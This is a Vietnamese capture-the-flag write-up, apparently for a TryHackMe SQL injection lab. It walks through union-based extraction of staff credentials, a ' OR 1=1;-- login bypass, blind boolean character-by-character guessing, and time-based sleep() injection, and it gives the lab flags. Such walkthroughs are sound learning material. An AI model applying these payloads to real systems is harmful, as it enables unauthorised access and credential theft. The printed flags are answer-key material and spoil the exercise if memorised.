Union-based

Tiếp cận

Giả sử đường dẫn của một bài viết là: https://website.thm/article?id=1

Kết quả hiển thị:

My First Article
Article ID: 1
 
Hi and welcome to my very first article for my new website......

Số cột trong câu truy vấn

Đầu tiên, chúng ta thử thêm dấu ' sau số 1. Trang web hiển thị lỗi SQL, cho thấy có khả năng bị tấn công.

Tiếp theo, sử dụng UNION để xác định số cột. Thử 1 UNION SELECT 1, trang web báo lỗi số cột khác nhau. Tăng dần số cột cho đến khi hết lỗi. Với 1 UNION SELECT 1,2,3, truy vấn thành công.

Thông tin Database

Để lấy thông tin mong muốn thay vì bài viết, chúng ta tạo một truy vấn không có kết quả bằng cách thay id=1 thành id=0: 0 UNION SELECT 1,2,3

Kết quả trả về:

2
Article ID: 1
 
3

Điều này cho thấy cột 1 là ID, cột 2 là tiêu đề, và cột 3 là nội dung. Chúng ta có thể thay thế các số 1,2,3 để trích xuất thông tin.

Để lấy tên database: 0 UNION SELECT 1,2,database() Kết quả: sqli_one.

Để liệt kê các bảng trong database sqli_one:

group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'

Kết quả: article,staff_users. information_schema là một metadata database chứa thông tin về các database khác.

Thông tin mong muốn

Để lấy các cột của bảng staff_users:

group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'

Kết quả: id,username,password.

Cuối cùng, lấy username và password từ bảng staff_users:

group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

Chúng ta dùng : để phân cách và <br> để xuống dòng cho dễ đọc.

Flag

Success

THM{SQL_INJECTION_3840}

Bỏ qua xác thực

Tiếp cận

Câu truy vấn đăng nhập thường có dạng:

SELECT * FROM users WHERE username='' AND password='' LIMIT 1;

Chúng ta có thể làm cho điều kiện WHERE luôn đúng bằng cách chèn payload: ' OR 1=1;--

Câu truy vấn sẽ trở thành:

SELECT * FROM users WHERE username='' AND password='' OR 1=1;--' LIMIT 1;

Biểu thức 1=1 luôn đúng, và -- là comment trong SQL, vô hiệu hóa phần còn lại của câu lệnh.

Flag

Success

THM{SQL_INJECTION_9581}

Brute Forcing

Tiếp cận

Trong trường hợp này, chúng ta cần tìm ra cặp username/password thay vì chỉ bypass.

Giả sử có một API kiểm tra username tồn tại: https://website.thm/checkuser?username=admin. Response: {"taken":true}.

Câu truy vấn có thể là: SELECT * FROM users WHERE username = '' LIMIT 1;.

Thử với admin123' UNION SELECT 1,2,3;--, ta nhận được {"taken":true}. Điều này xác nhận bảng có 3 cột.

Tên Database

Chúng ta có thể dò tên database bằng cách sử dụng LIKE: UNION SELECT 1,2,3 WHERE database() LIKE 's%';-- Bằng cách thử từng ký tự, chúng ta có thể đoán ra tên database là sqli_three.

Tên bảng

Tương tự, dò tên bảng: UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' AND table_name LIKE 'u%';-- Tên bảng được tìm thấy là users.

Tên cột

Dò tên các cột: UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_schema='sqli_three' AND table_name='users' AND column_name LIKE 'a%';-- Sau khi tìm thấy một cột, ta loại trừ nó và tiếp tục tìm kiếm. Các cột tìm được là id, username, password.

Mật khẩu

Vì đã biết có username admin, chúng ta chỉ cần dò mật khẩu: UNION SELECT 1,2,3 FROM users WHERE username='admin' AND password LIKE 'a%';-- Dò từng ký tự, chúng ta tìm được mật khẩu là 3845.

Flag

Success

THM{SQL_INJECTION_1093}

Time-based

Tiếp cận

Nếu ứng dụng không trả về lỗi hoặc kết quả, chúng ta có thể sử dụng tấn công time-based. Giả sử có request: https://website.thm/analytics?referrer=tryhackme.com

Chúng ta có thể chèn hàm sleep() để tạo độ trễ: ' UNION SELECT sleep(1), 2;--

Nếu có độ trễ, điều đó có nghĩa là câu truy vấn UNION đã thực thi thành công và bảng có 2 cột. Từ đó, chúng ta có thể áp dụng các kỹ thuật tương tự như boolean-based để khai thác dữ liệu. Mật khẩu của admin được tìm thấy là 4961.

Flag

Success

THM{SQL_INJECTION_MASTER}

Resources